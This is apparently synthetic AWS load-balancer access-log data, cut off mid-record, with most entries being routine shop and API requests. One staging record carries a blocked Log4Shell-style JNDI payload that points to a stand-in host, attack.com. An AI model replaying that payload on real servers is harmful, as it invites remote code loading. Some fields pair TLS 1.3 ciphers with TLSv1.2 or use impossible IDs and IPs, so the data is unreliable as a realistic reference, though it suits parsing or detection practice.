"prod-web-alb.example.com" "-" 4 2024-11-01T02:30:31.721231Z "forward" "-" "-" "10.0.157.68:443" "200" "-" "-" -https 2024-11-01T02:30:33.391456Z prod-web-alb 149.204.102.89:64847 10.0.96.202:443 0.090043 0.013465 0.061164 404 404 279 13469 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dad9-5f57339e9d594ad8957a034b" "prod-web-alb.example.com" "-" 3 2024-11-01T02:30:33.391456Z "forward" "-" "-" "10.0.96.202:443" "404" "-" "-" -https 2024-11-01T02:30:35.024143Z prod-web-alb 197.186.247.41:44175 10.0.152.3:443 0.022966 0.321334 0.072840 200 200 316 9421 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dadb-cf4a13df64e94db4ab5dc639" "prod-web-alb.example.com" "-" 3 2024-11-01T02:30:35.024143Z "forward" "-" "-" "10.0.152.3:443" "200" "-" "-" -https 2024-11-01T02:30:36.067715Z prod-web-alb 243.18.45.241:33687 10.0.122.194:443 0.089141 0.062285 0.023280 404 404 725 2037 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dadc-f518193980264a038570aaa5" "prod-web-alb.example.com" "-" 6 2024-11-01T02:30:36.067715Z "forward" "-" "-" "10.0.122.194:443" "404" "-" "-" -https 2024-11-01T02:30:36.491041Z prod-web-alb 210.106.8.39:20423 10.0.245.129:443 0.084326 0.148901 0.037080 200 200 989 9253 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dadc-d1844d18a60544e3b82e9b8a" "prod-web-alb.example.com" "-" 5 2024-11-01T02:30:36.491041Z "forward" "-" "-" "10.0.245.129:443" "200" "-" "-" -https 2024-11-01T02:30:38.057950Z prod-web-alb 65.9.186.89:55552 10.0.240.179:443 0.030275 0.444066 0.092060 200 200 347 14550 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dade-530839dd598a45349a8bac05" "prod-web-alb.example.com" "-" 3 2024-11-01T02:30:38.057950Z "forward" "-" "-" "10.0.240.179:443" "200" "-" "-" -https 2024-11-01T02:30:39.066204Z prod-web-alb 227.112.154.68:47168 10.0.203.185:443 0.005783 0.389798 0.097437 404 404 908 13979 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dadf-aa6c8ba6e9e64c659fd133bf" "prod-web-alb.example.com" "-" 9 2024-11-01T02:30:39.066204Z "forward" "-" "-" "10.0.203.185:443" "404" "-" "-" -https 2024-11-01T02:30:39.692152Z prod-api-alb 118.112.237.136:58380 10.0.248.117:443 0.025934 0.182299 0.035914 301 301 354 3439 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dadf-d0b91a0554bd48468ce371c4" "prod-api-alb.example.com" "-" 8 2024-11-01T02:30:39.692152Z "forward" "-" "-" "10.0.248.117:443" "301" "-" "-" -https 2024-11-01T02:30:40.007549Z prod-api-alb 55.143.164.36:62521 10.0.116.142:443 0.058125 0.194550 0.014699 200 200 932 3777 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dae0-1b4a6e766b4941c1939e1ff6" "prod-api-alb.example.com" "-" 2 2024-11-01T02:30:40.007549Z "forward" "-" "-" "10.0.116.142:443" "200" "-" "-" -https 2024-11-01T02:30:41.098117Z prod-web-alb 78.55.70.87:52277 10.0.73.236:443 0.048469 0.208797 0.063144 200 200 261 4879 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dae1-aa36d18cc0d54e6bac7d3308" "prod-web-alb.example.com" "-" 5 2024-11-01T02:30:41.098117Z "forward" "-" "-" "10.0.73.236:443" "200" "-" "-" -https 2024-11-01T02:30:41.420370Z staging-alb 123.54.69.127:39062 98.39.204.43:80 0.044373 0.250306 0.123449 200 200 64 3113 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dae1-3bf999e3d58747e7af68d69e" "staging-alb.example.com" "-" 8 2024-11-01T02:30:41.420370Z "forward" "-" "-" "98.39.204.43:80" "200" "-" "-" -https 2024-11-01T02:30:42.334936Z prod-api-alb 69.255.137.188:18234 10.0.98.116:443 0.031387 0.474787 0.043604 200 200 745 2684 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dae2-9afdf08c6355473d995d737d" "prod-api-alb.example.com" "-" 2 2024-11-01T02:30:42.334936Z "forward" "-" "-" "10.0.98.116:443" "200" "-" "-" -https 2024-11-01T02:30:43.937571Z prod-api-alb 215.141.114.141:46674 10.0.32.205:443 0.099586 0.435030 0.063493 302 302 277 8076 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dae3-36117ae462794be78bdf9eda" "prod-api-alb.example.com" "-" 5 2024-11-01T02:30:43.937571Z "forward" "-" "-" "10.0.32.205:443" "302" "-" "-" -https 2024-11-01T02:30:45.935772Z prod-web-alb 8.138.90.169:22205 10.0.67.226:443 0.012285 0.491677 0.091925 200 200 389 813 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dae5-e1b1d751590948bd906ce2f9" "prod-web-alb.example.com" "-" 1 2024-11-01T02:30:45.935772Z "forward" "-" "-" "10.0.67.226:443" "200" "-" "-" -https 2024-11-01T02:30:46.199853Z prod-web-alb 138.146.64.109:30642 10.0.177.66:443 0.084518 0.338991 0.040729 302 302 469 12077 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dae6-f25c8f6e29e54fcd91202230" "prod-web-alb.example.com" "-" 3 2024-11-01T02:30:46.199853Z "forward" "-" "-" "10.0.177.66:443" "302" "-" "-" -https 2024-11-01T02:30:47.098680Z prod-api-alb 148.28.255.47:33422 10.0.133.129:443 0.096013 0.369275 0.069591 404 404 211 13724 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dae7-7e9c03fbd6824411aef56a35" "prod-api-alb.example.com" "-" 4 2024-11-01T02:30:47.098680Z "forward" "-" "-" "10.0.133.129:443" "404" "-" "-" -https 2024-11-01T02:30:47.333835Z prod-api-alb 225.14.133.177:43249 10.0.173.116:443 0.003348 0.183801 0.066182 200 200 901 12783 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dae7-0fc6401d978f48559ffcef3f" "prod-api-alb.example.com" "-" 4 2024-11-01T02:30:47.333835Z "forward" "-" "-" "10.0.173.116:443" "200" "-" "-" -https 2024-11-01T02:30:49.064521Z staging-alb 0.206.206.85:61026 248.217.58.3:8080 0.090070 0.527468 0.110153 200 200 498 10368 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dae9-d87fbdb879684cb08637770f" "staging-alb.example.com" "-" 6 2024-11-01T02:30:49.064521Z "forward" "-" "-" "248.217.58.3:8080" "200" "-" "-" -https 2024-11-01T02:30:49.813212Z staging-alb 19.112.186.238:36358 197.21.19.3:80 0.007176 0.681164 0.091804 200 200 966 14426 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dae9-5025ef2b02da45029d9101f5" "staging-alb.example.com" "-" 3 2024-11-01T02:30:49.813212Z "forward" "-" "-" "197.21.19.3:80" "200" "-" "-" -https 2024-11-01T02:30:51.506796Z prod-api-alb 168.128.39.172:58515 10.0.77.32:443 0.027651 0.495591 0.003405 302 302 16 629 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daeb-ec68458d085a4f8f910ad7b9" "prod-api-alb.example.com" "-" 8 2024-11-01T02:30:51.506796Z "forward" "-" "-" "10.0.77.32:443" "302" "-" "-" -https 2024-11-01T02:30:52.402910Z prod-api-alb 119.78.98.30:58765 10.0.19.31:443 0.061067 0.250094 0.094343 404 404 202 6047 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daec-7d74f2200b24467a8a9db97d" "prod-api-alb.example.com" "-" 8 2024-11-01T02:30:52.402910Z "forward" "-" "-" "10.0.19.31:443" "404" "-" "-" -https 2024-11-01T02:30:52.670170Z prod-api-alb 68.232.36.103:42685 10.0.56.122:443 0.025382 0.494131 0.050419 200 200 545 9314 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daec-5dfbc29a2966439d9dc39245" "prod-api-alb.example.com" "-" 1 2024-11-01T02:30:52.670170Z "forward" "-" "-" "10.0.56.122:443" "200" "-" "-" -https 2024-11-01T02:30:53.002916Z prod-web-alb 77.72.54.184:30547 10.0.41.45:443 0.071670 0.217670 0.067322 200 200 889 910 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723daed-a3cce80466be4009803348a1" "prod-web-alb.example.com" "-" 6 2024-11-01T02:30:53.002916Z "forward" "-" "-" "10.0.41.45:443" "200" "-" "-" -https 2024-11-01T02:30:53.309356Z prod-web-alb 26.127.19.228:44194 10.0.171.94:443 0.027923 0.332393 0.068910 200 200 545 12402 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723daed-41c912ecbad84bcfa31d0e84" "prod-web-alb.example.com" "-" 8 2024-11-01T02:30:53.309356Z "forward" "-" "-" "10.0.171.94:443" "200" "-" "-" -https 2024-11-01T02:30:55.106945Z prod-web-alb 203.164.63.12:35693 10.0.126.206:443 0.076127 0.451130 0.039311 404 404 508 3103 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723daef-2dbb0db8dcb34935956218fb" "prod-web-alb.example.com" "-" 9 2024-11-01T02:30:55.106945Z "forward" "-" "-" "10.0.126.206:443" "404" "-" "-" -https 2024-11-01T02:30:56.784524Z prod-api-alb 30.176.14.59:25625 10.0.148.106:443 0.032906 0.408985 0.050487 301 301 101 9787 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daf0-d74db03ba2d7457b8bb42bea" "prod-api-alb.example.com" "-" 9 2024-11-01T02:30:56.784524Z "forward" "-" "-" "10.0.148.106:443" "301" "-" "-" -https 2024-11-01T02:30:58.239275Z staging-alb 7.51.177.196:35976 196.70.125.144:80 0.044646 0.202743 0.111393 302 302 854 3399 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723daf2-fd5bc69553be4cfc9fa0c2ec" "staging-alb.example.com" "-" 9 2024-11-01T02:30:58.239275Z "forward" "-" "-" "196.70.125.144:80" "302" "-" "-" -http 2024-11-01T02:30:59.804235Z staging-alb 28.113.99.54:11668 202.117.1.246:443 0.066745 0.721329 0.105810 200 200 389 4564 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723daf3-e1734681af334595b53f0a19" "staging-alb.example.com" "-" 3 2024-11-01T02:30:59.804235Z "forward" "-" "-" "202.117.1.246:443" "200" "-" "-" -http 2024-11-01T02:31:00.953169Z staging-alb 191.126.110.150:16899 75.198.112.220:443 0.025990 0.019496 0.032460 200 200 678 3694 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723daf4-fc0c755ebda04c5291ae161b" "staging-alb.example.com" "-" 5 2024-11-01T02:31:00.953169Z "forward" "-" "-" "75.198.112.220:443" "200" "-" "-" -http 2024-11-01T02:31:02.029176Z staging-alb 192.89.181.228:16747 184.44.231.25:443 0.033662 0.134963 0.149597 200 200 369 10749 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723daf6-ec4c0fed0efc47b49874bfef" "staging-alb.example.com" "-" 4 2024-11-01T02:31:02.029176Z "forward" "-" "-" "184.44.231.25:443" "200" "-" "-" -https 2024-11-01T02:31:02.579007Z prod-api-alb 82.7.201.93:27226 10.0.66.117:443 0.087114 0.339825 0.040107 200 200 759 6098 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daf6-d9eb62f613e649c491d30fcd" "prod-api-alb.example.com" "-" 2 2024-11-01T02:31:02.579007Z "forward" "-" "-" "10.0.66.117:443" "200" "-" "-" -https 2024-11-01T02:31:04.193052Z staging-alb 157.144.10.101:50380 77.144.11.36:443 0.096231 0.564473 0.017403 200 200 151 2593 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723daf8-26c064f7b66142759cc20417" "staging-alb.example.com" "-" 1 2024-11-01T02:31:04.193052Z "forward" "-" "-" "77.144.11.36:443" "200" "-" "-" -https 2024-11-01T02:31:05.503449Z prod-api-alb 97.100.21.67:47598 10.0.199.173:443 0.059094 0.252023 0.091435 200 200 891 11474 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daf9-bb4685e8ec774da5a13fb5d5" "prod-api-alb.example.com" "-" 1 2024-11-01T02:31:05.503449Z "forward" "-" "-" "10.0.199.173:443" "200" "-" "-" -https 2024-11-01T02:31:06.962072Z prod-web-alb 154.97.117.3:10538 10.0.150.29:443 0.032685 0.259708 0.097401 302 302 900 4297 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dafa-c9fd3bd9078f4aada86e4dfb" "prod-web-alb.example.com" "-" 7 2024-11-01T02:31:06.962072Z "forward" "-" "-" "10.0.150.29:443" "302" "-" "-" -https 2024-11-01T02:31:07.865879Z prod-web-alb 59.49.18.124:13354 10.0.64.99:443 0.029605 0.087595 0.061579 301 301 470 4815 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dafb-64fb53e74e3d4751acaafa3b" "prod-web-alb.example.com" "-" 7 2024-11-01T02:31:07.865879Z "forward" "-" "-" "10.0.64.99:443" "301" "-" "-" -https 2024-11-01T02:31:08.826564Z prod-web-alb 138.9.137.170:28890 10.0.201.130:443 0.025532 0.054640 0.099701 200 200 799 14843 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dafc-1a602fb6e98b4bccafb2a28c" "prod-web-alb.example.com" "-" 5 2024-11-01T02:31:08.826564Z "forward" "-" "-" "10.0.201.130:443" "200" "-" "-" -http 2024-11-01T02:31:09.431495Z staging-alb 74.92.136.207:26108 183.54.148.172:443 0.027487 0.704240 0.059987 301 301 768 6551 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dafd-df86d4556658433fb7361825" "staging-alb.example.com" "-" 6 2024-11-01T02:31:09.431495Z "forward" "-" "-" "183.54.148.172:443" "301" "-" "-" -https 2024-11-01T02:31:11.202633Z prod-api-alb 8.186.123.23:21358 10.0.130.100:443 0.039717 0.406404 0.079581 200 200 699 2570 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723daff-72dea654e8134e88aa0a68cd" "prod-api-alb.example.com" "-" 7 2024-11-01T02:31:11.202633Z "forward" "-" "-" "10.0.130.100:443" "200" "-" "-" -https 2024-11-01T02:31:12.895743Z staging-alb 45.155.205.67:55966 204.170.210.14:8080 0.138033 0.672800 0.018775 403 403 729 12521 "POST /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db00-a2aa8937c7884158bf8dea50" "-" "-" 1 2024-11-01T02:31:12.895743Z "forward" "-" "-" "204.170.210.14:8080" "403" "-" "-" -https 2024-11-01T02:31:14.416099Z prod-api-alb 0.198.217.218:35950 10.0.49.107:443 0.099589 0.339150 0.077782 301 301 382 8304 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db02-89aee298775f4be4b57a3e3d" "prod-api-alb.example.com" "-" 7 2024-11-01T02:31:14.416099Z "forward" "-" "-" "10.0.49.107:443" "301" "-" "-" -https 2024-11-01T02:31:15.813875Z prod-web-alb 90.201.11.107:35455 10.0.229.153:443 0.018829 0.136803 0.097747 404 404 542 730 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db03-33e1c991e66a4010a7791269" "prod-web-alb.example.com" "-" 8 2024-11-01T02:31:15.813875Z "forward" "-" "-" "10.0.229.153:443" "404" "-" "-" -https 2024-11-01T02:31:17.041630Z prod-web-alb 195.238.109.169:20354 10.0.167.86:443 0.007356 0.280542 0.044253 404 404 580 10992 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db05-7d284ee073bc4164b5f8a6f2" "prod-web-alb.example.com" "-" 1 2024-11-01T02:31:17.041630Z "forward" "-" "-" "10.0.167.86:443" "404" "-" "-" -https 2024-11-01T02:31:18.419009Z prod-api-alb 176.43.19.111:52600 10.0.81.82:443 0.081810 0.004397 0.084486 200 200 457 8661 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db06-69e2aff14ca147e7bf929b4a" "prod-api-alb.example.com" "-" 3 2024-11-01T02:31:18.419009Z "forward" "-" "-" "10.0.81.82:443" "200" "-" "-" -https 2024-11-01T02:31:19.535838Z prod-web-alb 196.111.132.69:11771 10.0.58.102:443 0.006818 0.343184 0.052254 200 200 521 13278 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db07-6d97cfa5d5d247c4be86bb78" "prod-web-alb.example.com" "-" 8 2024-11-01T02:31:19.535838Z "forward" "-" "-" "10.0.58.102:443" "200" "-" "-" -https 2024-11-01T02:31:20.146225Z prod-web-alb 203.229.18.157:24968 10.0.31.139:443 0.021175 0.410146 0.041018 200 200 411 13518 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db08-5dd494f973f54f62a3997557" "-" "-" 3 2024-11-01T02:31:20.146225Z "forward" "-" "-" "10.0.31.139:443" "200" "-" "-" -http 2024-11-01T02:31:20.567302Z staging-alb 224.128.241.54:20541 108.5.195.130:8080 0.018738 0.008943 0.001882 200 200 683 9253 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db08-c894039131a0410c85480487" "staging-alb.example.com" "-" 1 2024-11-01T02:31:20.567302Z "forward" "-" "-" "108.5.195.130:8080" "200" "-" "-" -http 2024-11-01T02:31:22.408597Z staging-alb 64.164.193.111:62573 67.238.73.235:80 0.036911 0.026128 0.021658 404 404 475 862 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db0a-c52ba41401e84eadb58a61f5" "staging-alb.example.com" "-" 8 2024-11-01T02:31:22.408597Z "forward" "-" "-" "67.238.73.235:80" "404" "-" "-" -https 2024-11-01T02:31:24.016613Z prod-api-alb 217.200.170.33:19062 10.0.38.222:443 0.042524 0.258047 0.010572 302 302 160 14865 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db0c-2677780690d64e9c90efcfc1" "prod-api-alb.example.com" "-" 3 2024-11-01T02:31:24.016613Z "forward" "-" "-" "10.0.38.222:443" "302" "-" "-" -https 2024-11-01T02:31:25.722323Z prod-web-alb 